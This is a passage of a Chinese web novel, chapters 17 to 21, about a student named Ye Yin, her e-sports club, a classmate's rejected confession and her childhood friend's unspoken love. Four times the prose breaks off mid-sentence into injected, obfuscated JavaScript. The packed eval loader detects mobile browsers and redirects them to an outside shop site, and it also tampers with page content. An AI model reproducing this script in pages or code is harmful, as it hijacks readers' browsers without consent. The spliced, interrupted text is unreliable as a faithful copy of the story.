叶吟很习惯于独来独往,跟室友们的关系克制而礼貌,不过,军训结束,她还是被许航拉进了电竞社。 面试的时候所有人围坐一团,许航非常自豪地说:“叶吟特别擅长偷家!” 叶吟:? 不许抹黑我。 “在哪呢在哪呢?”社长兴奋地环顾四周,“谁是叶吟?” 一只手伸到她眼前,声音淡定:“社长,我刚做完自我介绍。” 电竞社看似不正经,实则也确实正经不到哪去,社内居然还有“天梯”,每周会把大家的段位放到群里,倒数会得到正数选手的组队帮助。 叶吟:那很有团队精神了。 她假期里无聊就打游戏,导致入社第一周就上了天梯前五,然后被分配了一个女生要带她上分。 女生不情不愿:“我想找野王的,怎么是个女生法师位啊。” 叶吟默然一瞬:“生而中单,我很抱歉。” 女生被逗乐:“你很有梗诶。对了,能不能给我表演一下那个?” 叶吟预感不妙:“哪个?” “就那个啊。” “?” “你不是偷家很厉害嘛?” 叶吟:……许航害我。 当然,社团什么的都属于生活分线,主线是课表上五天里的四天早八,同学们遍地哀嚎。 跟半路出家的叶吟不同,许航是奔着H大的计算机专业来的。叶吟还在上手“helloworld”的时候,许航已经在看信息竞赛了。 “我想保研,”许航说,“你呢?” 叶吟老实地说:“我想把这个编程环境设好。” 许航乐得不行,干脆把她笔记本端走,过了会儿又给她塞回来:“PATH变量的问题。” 叶吟:PASS我的问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622396|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 生活步入正轨,但许航似乎对她有点过于上心了。 此人做事直截了当,目的性强,行动力更是一流,在叶吟意识到问题之前,他已经无孔不入地渗透成了大学里跟她关系最好的人。 叶吟:…… 她不惧社交,但又确实不太习惯,一开始不知道许航所为如何,只能静观其变。 通过跟叶吟聊天,意识到对方狼子野心的杨星咬牙切齿:他就知道那个队长居心不良! 李校花开学半个月就接了戏,保密协议一签人直接不见,杨星跟刘胖开不了口,又不好直接跟叶吟说,那人居心叵测,你要小心啊! 他能怎么说? 叶吟要谈恋爱,他还能管着不成? 杨星郁闷地翻来覆去,终于意识到,他哪有资格说。 国庆假期,电竞社组团去玩密室逃脱,叶吟白着脸婉拒了,许航看看她,也说自己胆小不敢去。 社长锤他一下,语气古怪:“白瞎你这一身腱子肉。” 许航笑笑,“嗯”了一声,也不解释,转头就问叶吟:“要不要去看电影?我之前抽到了打折票。” 叶吟不傻,她有所察觉对方殷勤过分,但社长断了她的退路:“正好,你们下午看完电影我们也打完密逃,晚上社团聚餐嗷。” 他朝许航挤挤眼睛,脸上写满了“哥们儿义气不用谢”,许航却又跟叶吟说:“不想去可以不去,没事儿。” 好一手以退为进。 如果是高中的叶吟,面对着这种场景说不定就答应下来了,哪怕不太舒服,她也会觉得不好辜负大家。 但现在的叶吟随口就能扯:“我朋友晚上要来,确实不太方便,祝你们玩得开心呀。” 许航问:“杨星吗?” 叶吟一愣,跟他有什么关系? “啊,对。”她顺着说。 “那正好,一起来呗,”许航扭头说,“社长,她朋友是当时偷水晶那把,我的对位。” 社长恍然:“噢~~” 叶吟叹了口气,说:“我问问。” 杨星国庆并没有来H市的计划,她简单说了说情况,本意是商量下口风,没想到那边一口应下。 杨星:“好久没来H市了。” 叶吟:我现在后悔还来得及吗? 电影没看成,因为叶吟去接人了。杨星军训结束黑了一个度,火车站见面第一句,叶吟有点不忍直视地说:“你没做防晒吗?” 杨星一顿:“我记得我挺扛晒的啊……” 叶吟:“扛晒,但直接变了个人种。我不好说。” 打车到了吃饭的地方,杨星见到许航的第一眼,眉毛动了动,悄悄跟叶吟咬耳朵:“他咋变成这样了?” 叶吟稍微退了退:“你指哪方面?” “他暑假偷偷健身去了吗?”杨星有种莫名其妙矮了一头的错觉,憋憋屈屈地说。 “我对他高中印象不深。”叶吟一句话揭过。 晚上吃饭,叶吟左边许航右边杨星,她闷头吃饭,反正只要不是跟她关联太大的话题,这张桌子上只有两个人会注意到她。 后悔也没用,反正都这样了。 叶吟放空大脑,大吃特吃。 把自助吃回本才是王道! 18. 第 18 章 “那个辣的,你别吃了,给我吧。”杨星把她眼前吃了一半的盘子拖走。 “也就微辣,还行。”叶吟喝了口水,泰然自若地说。 “还逞强呢,辣死你算了。”杨星也不避讳,伸着筷子就把她吃剩的解决了。 叶吟心里纳闷:你平常也这样吗?我怎么没注意? 她说:“我去拿点别的。” 她刚走,许航就开口了:“星哥,你跟叶吟算是青梅竹马吗?” 杨星真是受不起他这声星哥,总有种□□老大要被手下二五仔反杀的危机感。 “差不多吧,打小认识,邻居,”杨星擦了擦嘴,把叶吟的盘子一推,“怎么了?” “真羡慕啊,”许航叹了口气说,带着半分不好意思,“想问问她有什么喜好,我想追她。” 天杀的! 心火烧了一秒就被当头一桶水浇熄了,那一瞬间,杨星带着点无力的颓废想:果然如此。 他是叶吟最好的朋友。 他只是……朋友。 他能做的似乎只有帮她把把关……但她需要吗? 他陪着叶吟从一个透明的边缘人长成心智成熟刀枪不入的大人,可如今,他不确定叶吟是否还需要他再为她做什么。 她不需要他假装无视的刺激,不需要他悄没声地帮她试探新朋友的性格,不需要他在黄昏无人时多问一句:“要不要来我家?” 她的世界在延伸、扩大,他站在后面,为自己的位置感到迷茫。 “叶吟不能吃辣,但是又菜又爱玩。也不太能吃甜,奶茶只喝少少少天,最喜欢三分糖满冰柠檬茶。” “叶吟心细,在大多数事情上都很敏锐。她很成熟,不爱求助别人,基本什么事都能做个差不多,也没有特别强的好胜心。噢,除了游戏,被她朋友带的。” “对于陌生人来说,她名字不好记,存在感时有时无,所以很在乎别人能不能看到她,尤其是她在乎的人……不要忽略她。” 酒吧里,隔着几米远,叶吟也不知道他们两个怎么凑到一起去的。杨星一副传道授业解惑的态势,许航更是学而不思则罔,甚至不时发问。 社长问:“叶吟,你朋友怎么不来玩?” 他们在比大小喝酒,叶吟端着酒精过敏的人设坐在旁边观战。 “许航拉着他说话去了,”眼看社长表情越发意味深长,叶吟不紧不慢地补充,“他们高中同班,比跟我还亲。” “……那没事了。”社长熄了八卦的心。 之前叶吟带的那个女生此刻正抓着叶吟的胳膊,轮到她讲真心话。 “喜欢什么类型的男生?”其他人问。 女生娇笑:“喜欢180的野王哥哥……但最近感觉175的法王姐姐也不错?” 正好175的叶吟:? 等起哄声过去,女生靠着她问:“叶吟,你理想型是什么样的?” 叶吟:“抱歉,我性取向正常。” 女生不轻不重地打她一下:“正经问你呢。喜欢啥样的,我帮你介绍。” 叶吟张口就来:“礼貌、自制、三观正、长得好、个子高、学习不错、段位不高不低能跟我双排……” “乖,喜欢纸片人的话自己玩去吧。”女生听不下去了,把人一推。 叶吟还攒了一堆词儿没说呢,她忍不住一笑。 许航去洗手间了,杨星抓着长岛冰茶的杯子,眼神放空。 “你们俩倒是一见如故,高中也没见你们走这么近啊。”叶吟一拉椅子坐下。 “……我难受。”杨星冷不丁冒出这么一句。 叶吟皱眉:“喝多了?” 杨星深深地吸了口气:“不是。心里难受。” 胸口仿佛被堵住,酸酸涩涩缭绕不去,无形的情绪压得他难以呼吸,好像深陷沼泽般难以挣脱。 叶吟:“你现在有点像,给李校花递两块五结果只见到我的学弟。” 杨星:“……” 他深沉不下去了,虽然还是不高兴,但至少挥散了点憋屈。 “许航人不坏。”他勉勉强强地说。 叶吟没吭声,只若有所思地看着杨星。 许航么,确实不坏,甚至帮了她不少。 杨星摆摆手:“你玩去吧,我走了。” “不是,十一点了,你还要回学校吗?”叶吟拒绝,“我给你定个酒店。” 杨星嘟嘟囔囔地被她拽着走了,走前还把最后半杯酒一口闷了。 “鼎鼎大名的长岛冰茶,不难喝,真的。”他说。 “我把他送酒店再回来,要是太晚的话你们先回。”叶吟没理,只是跟社长说了一声。 “行,注意安全。”社长玩得正开心。 打车到酒店,叶吟从杨星口袋里摸出他的身份证,办了入住把人拖上楼。 “干什么,我要回学校……” 已经陷入微醺状态的杨星跟她拉拉扯扯地进了房间,叶吟把人扔到床上,深吸一口气,义正辞严地说:“老实点,再闹我给阿姨打视频了。” 杨星醒了点,“……噢。”然后又叹气,“唉。” 叶吟不懂,拧开矿泉水给他:“你怎么了?” 杨星吨吨吨地炫了一整瓶,哑着嗓子说:“没怎么,我去洗澡,你走吧。” 叶吟没动,有些固执地问:“不能跟我说吗?” 怎么说? 说他认认真真仔仔细细地想了一晚上,得出一个让人心惊肉跳的结论来。 他不能是……真喜欢叶吟吧? 他们是发小,认识十多年的发小,他怎么能……? 但只要接住这一片轻飘飘的事实,过去那些情绪翻涌找不到出口的瞬间,突然就有了答案;不知怎么表达、组织不成整句的话语,突然就有了主线。一字一句,密密麻麻地排成一行,跟蚂蚁一样爬进心里,痒得他没法坐视不理。 暑假坦白的那个中午,穿过天空的不是无痕飞鸟,而是留下尾气的飞机。白色的长痕早就把他的世界划出裂隙,而他,是那个后知后觉的笨蛋。 在对方关切的眼神中,杨星只感受到一个逃无可逃的自己。 他坚定而缓慢地摇头:“真没事。” 洗完澡出来的时候,杨星以为叶吟已经走了,结果她悄没声地站在门口,吓了他一跳。 “怕你死在浴室里,”她硬梆梆地说,“我走了。” “太晚了,到学校给我发个消息。”杨星捋了把滴水的头发。 “许航在下面等。”她说。 杨星手顿了顿,自然地垂下来,说:“那挺好的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627329|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶吟转身就走,而杨星嘴巴里越嚼越苦,他说不出,只是逐渐把手攥到发痛。 “没想到星哥酒量一般。”回学校的路上,许航没话找话。 “嗯。”叶吟没接话。 “是我考虑不周,”许航说,“你酒精过敏?” “……嗯。”其实没有。 “你把地址发给社长的时候,他让我来接你,”许航说,“午夜女孩子一个人还是不太安全。” “谢谢。”叶吟想结束话题。 她觉得杨星瞒了她什么事情,又想不出到底能有什么事。 “话说,星哥比毕业的时候好像黑了点。”许航回忆着说,“别的倒是没什么变化。” ……总不会是介意自己晒黑了吧? 有人心里憋了事、还梦到了些乱七八糟的东西;有人自以为找到了解释、好笑之余下单了两支美白霜。总之一切看似并没发生什么变化,日子相安无事地往前走着。 许航的热心被叶吟推三阻四,她把许航当朋友当开黑搭子,却到此为止。电竞社里风风火火地办了几次小团建,她有时候去,有时候不去。 死亡期末周,她套着那件手织的毛衣考了四场考试,“偶遇”许航,他还多问了一句,哪壶不开提哪壶地说:“阿姨心灵手巧。” “不是我妈,杨星妈织的。”叶吟不躲不闪。 许航眨了下眼睛:“你们关系真好。” 一个学期没回家,叶吟的冬衣都是现买的,于是回家又拖了两个大箱子。 刘胖在群里风风火火:“你们都出省了,只有我留在省内,谁懂留守儿童的痛!” “那不是好事吗?”杨星闲闲地回复,“周末就能回家,多方便。” “家慈从高考结束开始念叨让我考公,我回家一趟她能给我塞三本考试材料,可恶,我才大一啊!” 刘胖本人的经历可以写一本《考公:从高中到大学》。 李沫没回国,他们仨过了几天才见到李校花。校花在组里呆了几个月整个人气质都变了,非要说的话,刘胖仗义执言:“你现在特别有中年工科女的感觉。” 李校花头发拉直,也染回了黑色,她推了推鼻梁上的平镜:“接了个角色,出戏有点难。” 几句话盖过,叶吟却察觉了一点别的东西。校花往日那种盛气凌人的气焰矮了不少,像是被打磨了的石头,不动声色地内敛下去了。 她单独约了李校花,两人在清吧见面。 “酒是好东西啊。”李校花有些低沉地说着,点了第三杯纯饮。 “出什么事了?”叶吟眼前放着杯日出,感觉自己能喝一天。 “刚开学就有人找我签约,你知道这代表着什么吗?”李校花有些苦涩。 “代表着你天赋异禀,直接一飞冲天?”叶吟试探性地说。 “代表着有金主看上我了。”李校花指了指自己,然后叹了一口长气。 “那你怎么想的?”叶吟有些担心,“感觉很危险啊。” “但也是个机会,”李校花盯着棕色的酒液,“他们给了我一个我拒绝不了的本子。” “剧本吗?讲什么的?”叶吟不会抨击她的选择,只是顺着往下问。 “一个女物理学家的传记,”李校花端起酒杯一饮而尽,“我签了。” 19. 第 19 章 叶吟沉默了两秒,问:“那你现在……” “已经拍完了,老实说,虽然有金主,但我根本没见过人,”李校花坦白,“全封闭拍摄,导演自己就是编剧,每天说我太适合了、演太好了,但我觉得全是扯淡。” “我心里清楚,我作为唯一主演,但嫩得要死,整天给组里的人添麻烦。”她把头埋到手臂里,声音发闷。 “等网版上线我会买正版VIP支持一下的。”叶吟思考了一下说。 “哦,忘了说,是个电影,”李校花抬头,满脸麻木,“谁敢信,他们甚至说要送去申请奖项。” “……那你岂不是要成为影后了?” 叶吟从吧台上抽了张卫生纸,又顺了支签字笔回来:“先给我签个名。别写李小花,我家还有你高中写的卷子,不稀罕。” 李校花愣神,然后低低地骂了一句,骂完就笑出声:“我真服你了。” 她龙飞凤舞地在餐巾纸上签下“季雾”这个名字:“特地报班学了签名,这还是第一次用。等我成了影后,你敢把这张纸卖了,我一定发微薄曝光你。” 叶吟:“那样的话,我是不是就能算你的来时路了?” 李校花看她半晌,说:“以后也会一起走的。” 又喝了几杯,她嘴上逐渐没了把门的,不吐不快地开始往外倒豆子,零帧起手地放了个大招。 “签约之前,我纠结的原因还有一个,”她眼神发直,“李沫跟我表白了。” 叶吟手指不小心磕在桌沿,疼得她头皮发麻。 她满心震撼地想:李少爷到底还是成了两块五。 “他说这几年异国会很辛苦,如果我拒绝,他正好死心。” 叶吟:很有自知之明的两块五。 “但我答应了。” 叶吟:……对不起,结论下早了。 “决定签约之后,我把他甩了。” 叶吟:……一口气说完好吗?! “我对不起他,”李校花闭了闭眼,“但是我总不能背着他找金主吧。” “你那金主到底是什么人物?”叶吟缓过震惊,感觉有点迷惑。 “我不知道啊。”李校花说,“那个本儿,简直就是为我量身定做的,这辈子想当物理学家,可能就这一次机会了。” 她选择当了演员,却还想既要还要。 “所以只能牺牲李沫了,”李校花短暂沉默,吐出一口气,“还挺想他的。” “还喜欢?” “……可能吧。”李校花话没说死,烦躁地“啧”了一声。 那还有啥不明白的?真是栽在李沫手里了。 “他这个冬天不回来,群里也没消息,该不会在躲着你吧?”叶吟联想到别的。 “我猜,或许,可能,大概,应该是吧。”李校花捂了一会儿脸,拿起杯子一饮而尽。 “我指望着还能当朋友呢,他家大业大,万一金主太恐怖,我直接找上门求助,说我是你落难的前女友其实我是被金主胁迫对你一片真心……呕。” 李校花皱了皱鼻子,又叹气:“开玩笑的,我也没想到我们俩会闹成这样。” “那以后金主找你怎么办?”叶吟比较担心这个。 “……选了这条路,那就只能往下走。兵来将挡水来土掩吧。” 李校花把自己喝吐了,也不知道攒了多少不足为外人道也的情绪,叶吟再次承担起带人去酒店的责任,并且陪了未来影后一整晚。 早晨,李校花顶着鸡窝头和眼下青黑爬到叶吟床上,语带威胁:“把昨晚上我说的都忘了。” 叶吟被她压着,咳了两声:“不要。” “啊啊啊啊啊你快忘!快点!” “救命……” 李校花作势掐了她两下,没用力气,颓废了几秒,又说:“你等着吧。” 叶吟没跟上她的脑回路:“我怎么了?我跟大家清清白白。噢,虽然你现在在我床上。” 不明情况的傻孩子。 李校花心说,前两天大家出去玩,杨星看你都快看出花来了,你那什么敏感细腻去哪了? “大学没见到什么心动选手?”她不死心,顺便替杨某人试探了一句。 “没有吧,大家都挺好的,”叶吟回忆了一下,“都是朋友。” “就没有一分一秒对人动心过?”李校花逼近,“有没有一瞬间觉得哇塞他是世界上最好的人只有他才能配得上老娘我要跟他锁死一辈子我们会为彼此成为更好的人。” 叶吟满脸震撼地看着她:“你对李沫有过这种感觉?” 还有什么比知道“自己的朋友偷偷搞在一起、还差点成了真爱”这种情况更吓人的? “……啧,”李校花不满地拍拍她的脸,“傻叶吟,还没开窍呢。” “你就等着吧。”她成竹在胸地说,一边爬下床,雄赳赳气昂昂地下单护肤品——昨天干着脸就睡了,想想就感觉要窒息了! 李校花这句话,应验得很快,虽然不是以她想的方式。 叶吟猝不及防被许航逮住的时候,正好是除夕夜。 她木着一张脸,被堵在楼下。看到许航的一瞬间,她开始怀疑校花是不是有预知能力。 “你怎么找到我家的?”叶吟板着脸问。 许航实话实话:“问了杨星。” 好你个叛国的杨家将,叶吟牙根发痒,眼神不由投向杨星家那幢楼。自然是看不到人,她只能心中愤愤:不安好心。 “抱歉,你接着说。”叶吟平复了一下心情,拿出曾经对待两块五的公事公办。 “嗯,就是,如果你愿意的话,或许我们可以试试?” 许航身形高大,往那一站几乎能把叶吟罩下来,他语气很平和,虽然耳朵有些红,但整体来说态度坦然,不紧不慢。 他带了花,不大不小的一把,叶吟单手刚好抱过来,并不过分。低头的时候,他眼睛里能看出那种年轻人的冲动和期待,叶吟心想:可真是给我出难题。 “许航,是这样,”她抱着他的花,没有冲动,冷静开口,“首先,很感谢你的喜欢,我第一次被人表白,没什么经验,但是能感受到你的真心,所以非常感激。” 听到这话,许航眼里光就暗了一点,他叹了口气:“还是不行吗。” “你先听我说,”叶吟说,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635852|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,你是班长,你要综测、要二专、要保研,你有主见,想到一件事就会做,对自己的未来规划很明确,但是我不一样。” “我随心所欲,不追求成功,甚至可能有点上进心不足,”她剖析着自己的短处,态度既不高高在上,也不妄自菲薄,“我是个很自私的人,如果谈恋爱的话,大概会经常需要另一半为我让步。” “而你需要的也不是一个这样邦硬的女朋友,”叶吟忍不住笑了笑,“你可能需要一个贤内助,嗯,工具人中单,但我现在更爱玩法核。” 许航无言一瞬,无奈到发笑:“怎么这也能扯到游戏。” “我需要一个支援及时的刘邦、开团扛伤的前排,但你爱玩战边,也是喜欢吃经济c全场的人,”叶吟狡猾地说,“我看过你的英雄熟练度。” 许航翘了翘嘴角,想起很久之前的那把偷家决战:“其实我白起玩得一般,但当时阵容要求。” “是啊,”叶吟顺着他的话说,“说不定当时玩个你的绝活英雄,我们就拿不到冠军了。” 许航再次被逗乐:“说真的,叶吟,你这个人其实很有意思,相处起来越挖越有,喜欢你真是不奇怪。” 叶吟怔了一下,说:“也是第一次听人这么评价,今天遭遇的人生头一回还真挺多。” 许航深吸一口气,然后又慢慢地吐出,像是舒了一口郁气,眉眼一松,露出隐隐的不甘。 “所以,真的没机会了吗?” 叶吟话里带着种真切的惋惜:“虽然你真的很优秀,但我们之间可能差了点火花吧。” 缘分就像月老随手打的响指,有的响了有的闷了,丘比特的准头也不好,于是世界上多的是有来无回的单箭头。 她不愿考虑属于年轻自己的那份激情落在了哪里,但她可以确定,自己对许航从无非分之想。 过去没有,未来……也不会有。 许航犹豫了半秒,顺从本心地问:“我们可以抱一下吗?” 冬天的外套很厚,拥抱也没什么实感。许航只用了一点点力气,叶吟松松地把人环了一圈。 “许航,其实我早就想说了,你应该是我认识的所有人里身材最好的。” “这是在真心夸我,还是在发好人卡?”许航问。 叶吟:“当然是夸你了。以前感觉讲出来会很暧昧,不过现在不会了。” 等叶吟后退半步,许航也已经整理好表情。 “你真是……我没招了。” 难过之余又实在觉得好笑,他摸了摸鼻子,“提前祝你新年快乐,叶吟。” “新年快乐。”她抱着花,目送他离开。 站了一会儿,天空突然开始飘小雪,叶吟接了两片雪花,看它化在掌心,感觉一片轻松。 手机铃响起,她刚接起,就听杨星问:“放烟花,走不走?” 她眯了眯眼:“你在楼下?” “……” 那边没了动静,过了一会儿,听到单元门卡死的声音。 “不在。”杨星说。 “走,放烟花。你放,我看。”她说。 ——是时候整治一下叛敌的好兄弟了。 20. 第 20 章 从H市一见后,虽然杨星心里有一万分的爱答不理,但他跟许航确实熟了一些——他在许航心里是类似“大舅哥”的存在。 杨星耐着那股子涩到发痛的情绪,听许航一口一个“星哥”,句句离不开叶吟,一度官至感情军师。 许航:恩人! 杨星:……我是不是上辈子欠他的? 许航其人,不遮不掩,目的明确,但就这份真心的坦荡,酸得杨星皱皱巴巴的,死活展不平整,人快成了每天念清心诀的和尚,偏偏压不下那点躁意。 他不止一次想破罐子破摔,想说许老板啊,我不瞒你,其实咱俩是情敌来着。 但是他顶着叶吟朋友的身份,深知那道线后就是不能踩的禁区。 说了还能做朋友吗? 他能接受老死不相往来吗? 自爆卡车能有什么好结果? 叶吟会怎么看他? 他越想,牵绊越多,越不敢碰雷池半步,只徘徊着,等到铡刀落下的那天——许航决定表白,在跨年夜。 杨星感觉有些恍惚。 他想不出理由拒绝,亲手把小区地址发给了许航,后者不负众望,踌躇满志又紧张兮兮地跟军师报备,“我出发了”。 他回了个“加油”的表情包,想扯嘴角,扯不动,好似两边各挂了二万斤的石头。 杨星感觉自己像个变态。 明明眼不见为净,都准备认命了,却杀不死那长满心的野草,不受自控地偷摸下楼,然后像个特务一样藏了起来。 他帽子口罩全副武装,直到屁股挨到长椅上的时候,杨星都没法解释,自己怎么会做出这么诡异的决定。 他想起暑假里,坐在这个位置,离豁然开朗、跨过困难只差一公分那个片刻,朦朦胧胧察觉到什么、却若有所感地停下脚步的那个片刻。 怎么就差一点呢? 为什么非要差那一点呢? 是不是他们之间注定差那一点呢? 来不及分辨是遗憾还是后悔更多,他看到了许航拿的花,想:不好看。 然后看到许航徘徊、跺脚、抱着花往手心哈气,他想:出息。 等待期间,他又萌生一点希望:万一正好错过呢? 看到一无所觉的叶吟出现,充满苦辣酸甜的脑子就空了。 手在袖子里越握越紧,手机停在语音呼叫的界面,心里有声音催着他:打个电话叫她避开就好了。 他很想。 但他没有。 躲得了今天,躲得了明天吗? 最后他远远地、安静地看着叶吟跟许航碰面,看她接过花,跟他交谈、拥抱。 那一刻,他感觉自己好像有点想哭。 好吧。他挫败地想,好吧。 …… “你眼睛有点红,进东西了吗?”叶吟问。 杨星还在发呆。 “杨星?” 叶吟不明白他一见面就一副丢了魂儿的模样,叫也叫不动。 “啊,你说什么?”杨星回神。 “我说,你眼睛有点红,不舒服吗?”叶吟认认真真地重复。 杨星心酸得像活吞柠檬树。 就是这种态度。 从一开始就是这样,他甚至骗不了自己,编不出那句“她会不会也喜欢我”的谎话。 认识太久、知根知底,他太明白叶吟,她的在意是因为把自己当成重要的朋友。 而许航,他出现的时机刚好,跟叶吟有点不多不少的前缘,还早就跨过透明光环的阻碍,靠着从无到有新建立起的关系,两人再进一步,都是水到渠成。 谁会唐突地喜欢上自己的好朋友? 谁能接受两个人的友谊,其实是一个人的无知无觉,一个人的处心积虑? ——就像一场背叛。 “没事。”杨星硬气地说,又仿佛无形的示弱,只是他自己没有察觉。 叶吟奇了:“你到底怎么回事啊?把我家住址白给许航就算了,现在又好像谁欺负你了一样。” “……不会说话可以不说,”杨星差点破防,“哎走了,放烟花去。” 叶吟莫名其妙被拉着走,她心想,我不是来兴师问罪的吗? 怎么变成这样了? 小区有片专门放礼花的空地,此时正在放鞭炮,周围零星站着几堆人,大家都在排队。 “许航跟我表白了!” 剧烈的噼啪声中,叶吟靠近他,稍微大声地说。 “我知道!” 杨星心口紧到发酸,密密麻麻地疼着,他有情绪,但发泄不了,像被不知死活的狗尾草戳弄得满身狼狈,又没法跟风计较。 他撑着一具体面的架子,露出马脚无数,只是他喜欢的人是个瞎子,还以为天下太平、宾主尽欢。 他不敢看她,就盯着鞭炮爆炸的火花,好像那东西有多好看一样。 “祝你们长长久久、百年好合啊!”他说。 叶吟愣住,随着最后几响鞭炮放完,被火光照亮的脸也暗了下去。 “你说什么?”她问。 噼里啪啦的声音散干净了,空气里还留着硝烟的味道,好像打完仗的战场,只是两边都没讨到好。 杨星拉下口罩,故作轻松地说:“祝你跟许航恋爱快乐啊。” 跟自虐似的。 钝刀子割肉。 一个字两个血窟窿。 他心里溃不成军,感觉呼吸都难,有些想掉头就走,但一想到他们俩在一起他得早点习惯,又硬把自己按在原地。 “……他跟你这么说的?”叶吟语气意味不明。 杨星反应了一下。 他先是傻眼,随后又开始心脏狂跳。 ——他看俩人分开就直接按了通话,根本没看消息。 “等一下。” 他伸出一只手阻在叶吟面前,表情自然地拿出手机。 上辈子欠他的:“失败了,星哥。” 上辈子欠他的:“算了,其实我也有预感。” 上辈子欠他的:“难受。” 杨星:………… 那我刚刚伤春感秋是在干什么? 替别人死去的爱情上香吗? 难道我真是上辈子欠他的? 叶吟:“嗯?” 杨星:“……等一下,我可以解释。” 叶吟冷笑,发动技能无情肘击。 “谁让你自作主张的?” “谁让你想当然的?” 杨星挨了打,却有种劫后余生的狂喜。心里压抑不住地美,他嘴上不肯示弱:“你跟我夸他身材好,我以为你喜欢……” “不能夸?是薄肌不好看,还是夸了就得嫁?” 许航出现在他们的聊天记录里不止一次,叶吟感觉自己态度很明确,从没想到会被杨星背刺。被推着走的感觉非常不舒服,叶吟磨着后槽牙,打死他的心都有了。 “夸他句你就开始撮合我们俩,要是我们真谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640349|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上是不是就该催婚了?嗯?说话。” 杨星心知这次真是选错了,他自知理亏,死死闭着嘴,不敢跟她争。 叶吟实在不懂:“杨星,我拿你当朋友,你不会真想做我大包大揽的爹吧?” 杨星:“我没……我……” 叶吟收了手,眼神清清凉凉的,含着点明晃晃的责难,虽然不重,但是有,他看得清。 这是她与生俱来的边界感,从最初用来保护自己,到长大后成为习惯。 成为她的朋友不难,她会礼貌周全地接纳所有人,但要真正走进她的心,则需要耐心、时间,甚至一些缘分。 而从朋友到恋人……太远,太难。 杨星终于憋出那句“对不起”,刚复活的心好像又开始发苦发皱。 “是我想多了……我关心则乱。”开了第一句口就轻松了,他搓了搓脸,“抱歉,下次不会再这样。” 叶吟缓下语气:“如果喜欢他,我不会瞒着你,你不明白吗?” “你是我最好的朋友啊。” ——之一,那也是最好。 又一轮鞭炮响了起来,杨星闭了闭眼,说了一句话。 话音被连串的爆炸声淹没,叶吟稍微凑近,大声问:“你说什么!” “我说!我知道啦!”杨星也大声吼,好像这样就能把那些浇不熄的心火掐灭。 但他知道,掐不死的。 他喜欢叶吟,不是激素作用的一瞬间,而是长久注视的好多年。 他只是花了很久才拨云见日、意识到那点亵渎他们友谊的心思。 所以他无地自容。 * 叶吟回家,关上门,感觉脑子里还回荡着爆炸声,经久不绝。 ……他为什么不想跟我做朋友了? 叶吟耳朵好使,那句话她听清了,但她以为自己听错了。 她现在有些茫然,因为杨星第二遍又改了口。 ……他什么意思? 她糊里糊涂,竟然久违地对着熟人生出了一丝丝踌躇和反思。 是因为我今天反应太过了吗? 她困惑、不解,过了会儿看群里刘胖在摇人打游戏,杨星也正常地@她一起。 叶吟:……所以只是玩笑吗? 她把问题抛给了李校花,连同着事情的前因后果、她知道的一切。 后者给她发了一大串句号。 叶吟:“?” 李校花十分冷漠:“别管他,纯犯病了。” 叶吟:“噢,这样。” 几秒后,李校花良心发现,又补了一条:“不过你觉不觉得,你对他有点苛刻?其实这事儿说大不大、说小不小的,他也说了嘛,关心则乱。” 叶吟气势弱了半头,负隅顽抗地辩解:“主要是,他看不出我跟许航根本不合适吗?就那么想我跟许航谈恋爱,我真觉得他私下里想当我爹……” 李校花心里替佩杨星点蜡:“你也就在他面前作威作福了。孩子,你知道这个叫什么吗?” 叶吟:“什么?” 李校花:“恃宠而骄。” 叶吟嘴硬:“怎么可能。” 她细了想一下,又觉得……好像是有点。 叶吟彻底气馁:“可是再怎么说,也不能讲这种话吧。” “他跟你都是我最好的朋友诶!” 李校花再次回了她几个点,心中简直无力吐槽:一个不开窍、一个不敢说,你俩这条路还有的走呢。 21. 第 21 章 叶吟去找杨星道歉,杨星刚把狼狈的小心脏收拾干净,又差点破防。 因为叶吟很认真地感谢了他的“好意”,并反思了自己的行为,跟她就事论事的态度相比,杨星感觉自己像那个被台风糟蹋了的树林子。 ——台风很潇洒啊,风过无痕。 ——他这树林就完全是稀巴烂了。 